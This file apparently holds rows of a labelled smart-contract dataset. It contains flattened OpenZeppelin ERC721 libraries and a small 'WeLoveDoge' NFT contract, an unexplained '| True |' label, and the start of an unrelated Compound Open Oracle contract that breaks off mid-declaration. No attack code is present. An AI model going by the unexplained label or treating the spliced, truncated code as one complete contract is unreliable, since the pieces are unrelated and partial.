* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Dependency file: @openzeppelin/contracts/utils/EnumerableMap.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// Dependency file: @openzeppelin/contracts/utils/Strings.sol
// pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// Dependency file: @openzeppelin/contracts/token/ERC721/ERC721.sol
// pragma solidity >=0.6.0 <0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
// import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol";
// import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
// import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
// import "@openzeppelin/contracts/introspection/ERC165.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
// import "@openzeppelin/contracts/utils/Address.sol";
// import "@openzeppelin/contracts/utils/EnumerableSet.sol";
// import "@openzeppelin/contracts/utils/EnumerableMap.sol";
// import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
string memory tokenidjson = string(abi.encodePacked(tokenId.toString(), ".json"));
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenidjson));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity 0.7.6;
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract ERC721WeLoveDoge is ERC721,Ownable {
constructor(string memory name_, string memory symbol_, address tokenOwner) ERC721(name_, symbol_) {
owner=tokenOwner;
}
function createToken(address to, uint256 tokenId) public onlyOwner{
_safeMint(to, tokenId);
}
function setURI(string memory uri) public onlyOwner{
_setBaseURI(uri);
}
} | True | [
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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.10;
pragma experimental ABIEncoderV2;
/**
* @title The Open Oracle Data Base Contract
* @author Compound Labs, Inc.
*/
contract OpenOracleData {
/**
* @notice The event emitted when a source writes to its storage
*/
//event Write(address indexed source, <Key> indexed key, string kind, uint64 timestamp, <Value> value);
/**
* @notice Write a bunch of signed datum to the authenticated storage mapping
* @param message The payload containing the timestamp, and (key, value) pairs
* @param signature The cryptographic signature of the message payload, authorizing the source to write
* @return The keys that were written
*/
//function put(bytes calldata message, bytes calldata signature) external returns (<Key> memory);
/**
* @notice Read a single key with a pre-defined type signature from an authenticated source
* @param source The verifiable author of the data
* @param key The selector for the value to return
* @return The claimed Unix timestamp for the data and the encoded value (defaults to (0, 0x))
*/
//function get(address source, <Key> key) external view returns (uint, <Value>);
/**
* @notice Recovers the source address which signed a message
* @dev Comparing to a claimed address would add nothing,
* as the caller could simply perform the recover and claim that address.
* @param message The data that was presumably signed
* @param signature The fingerprint of the data + private key
* @return The source address which signed the message, presumably
*/
function source(bytes memory message, bytes memory signature) public pure returns (address) {
(bytes32 r, bytes32 s, uint8 v) = abi.decode(signature, (bytes32, bytes32, uint8));
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(message)));
return ecrecover(hash, v, r, s);
}
}
/**
* @title The Open Oracle Price Data Contract
* @notice Values stored in this contract should represent a USD price with 6 decimals precision
* @author Compound Labs, Inc.
*/
contract OpenOraclePriceData is OpenOracleData {
///@notice The event emitted when a source writes to its storage
event Write(address indexed source, string key, uint64 timestamp, uint64 value);
///@notice The event emitted when the timestamp on a price is invalid and it is not written to storage
event NotWritten(uint64 priorTimestamp, uint256 messageTimestamp, uint256 blockTimestamp);
///@notice The fundamental unit of storage for a reporter source
struct Datum {
uint64 timestamp;
uint64 value;
}
/**
* @dev The most recent authenticated data from all sources.
* This is private because dynamic mapping keys preclude auto-generated getters.
*/
mapping(address => mapping(string => Datum)) private data;
/**
* @notice Write a bunch of signed datum to the authenticated storage mapping
* @param message The payload containing the timestamp, and (key, value) pairs
* @param signature The cryptographic signature of the message payload, authorizing the source to write
* @return The keys that were written
*/
function put(bytes calldata message, bytes calldata signature) external returns (string memory) {
(address source, uint64 timestamp, string memory key, uint64 value) = decodeMessage(message, signature);
return putInternal(source, timestamp, key, value);
}
function putInternal(address source, uint64 timestamp, string memory key, uint64 value) internal returns (string memory) {
// Only update if newer than stored, according to source
Datum storage prior = data[source][key];
if (timestamp > prior.timestamp && timestamp < block.timestamp + 60 minutes && source != address(0)) {
data[source][key] = Datum(timestamp, value);
emit Write(source, key, timestamp, value);
} else {
emit NotWritten(prior.timestamp, timestamp, block.timestamp);
}
return key;
}
function decodeMessage(bytes calldata message, bytes calldata signature) internal pure returns (address, uint64, string memory, uint64) {
// Recover the source address
address source = source(message, signature);
// Decode the message and check the kind
(string memory kind, uint64 timestamp, string memory key, uint64 value) = abi.decode(message, (string, uint64, string, uint64));
require(keccak256(abi.encodePacked(kind)) == keccak256(abi.encodePacked("prices")), "Kind of data must be 'prices'");
return (source, timestamp, key, value);
}
/**
* @notice Read a single key from an authenticated source
* @param source The verifiable author of the data
* @param key The selector for the value to return
* @return The claimed Unix timestamp for the data and the price value (defaults to (0, 0))
*/
function get(address source, string calldata key) external view returns (uint64, uint64) {
Datum storage datum = data[source][key];
return (datum.timestamp, datum.value);
}
/**
* @notice Read only the value for a single key from an authenticated source
* @param source The verifiable author of the data
* @param key The selector for the value to return
* @return The price value (defaults to 0)
*/
function getPrice(address source, string calldata key) external view returns (uint64) {
return data[source][key].value;
}
}
interface CErc20 {
function underlying() external view returns (address);
}
contract UniswapConfig {
/// @dev Describe how to interpret the fixedPrice in the TokenConfig.
enum PriceSource {
FIXED_ETH, /// implies the fixedPrice is a constant multiple of the ETH price (which varies)
FIXED_USD, /// implies the fixedPrice is a constant multiple of the USD price (which is 1)
REPORTER /// implies the price is set by the reporter
}
/// @dev Describe how the USD price should be determined for an asset.
/// There should be 1 TokenConfig object for each supported asset, passed in the constructor.
struct TokenConfig {
address cToken;
address underlying;
bytes32 symbolHash;
uint256 baseUnit;
PriceSource priceSource;
uint256 fixedPrice;
address uniswapMarket;
bool isUniswapReversed;
}
/// @notice The max number of tokens this contract is hardcoded to support
/// @dev Do not change this variable without updating all the fields throughout the contract.
uint public constant maxTokens = 30;
/// @notice The number of tokens this contract actually supports
uint public immutable numTokens;
address internal immutable cToken00;
address internal immutable cToken01;
address internal immutable cToken02;
address internal immutable cToken03;
address internal immutable cToken04;
address internal immutable cToken05;
address internal immutable cToken06;
address internal immutable cToken07;
address internal immutable cToken08;
address internal immutable cToken09;
address internal immutable cToken10;
address internal immutable cToken11;
address internal immutable cToken12;
address internal immutable cToken13;
address internal immutable cToken14;
address internal immutable cToken15;
address internal immutable cToken16;
address internal immutable cToken17;
address internal immutable cToken18;
address internal immutable cToken19;
address internal immutable cToken20;
address internal immutable cToken21;
address internal immutable cToken22;
address internal immutable cToken23;
address internal immutable cToken24;
address internal immutable cToken25;
address internal immutable cToken26;
address internal immutable cToken27;
address internal immutable cToken28;
address internal immutable cToken29;
address internal immutable underlying00;
address internal immutable underlying01;
address internal immutable underlying02;
address internal immutable underlying03;
address internal immutable underlying04;
address internal immutable underlying05;
address internal immutable underlying06;
address internal immutable underlying07;
address internal immutable underlying08;
address internal immutable underlying09;
address internal immutable underlying10;
address internal immutable underlying11;
address internal immutable underlying12;
address internal immutable underlying13;
address internal immutable underlying14;
address internal immutable underlying15;
address internal immutable underlying16;
address internal immutable underlying17;
address internal immutable underlying18;
address internal immutable underlying19;
address internal immutable underlying20;
address internal immutable underlying21;
address internal immutable underlying22;
address internal immutable underlying23;
address internal immutable underlying24;
address internal immutable underlying25;
address internal immutable underlying26;
address internal immutable underlying27;
address internal immutable underlying28;
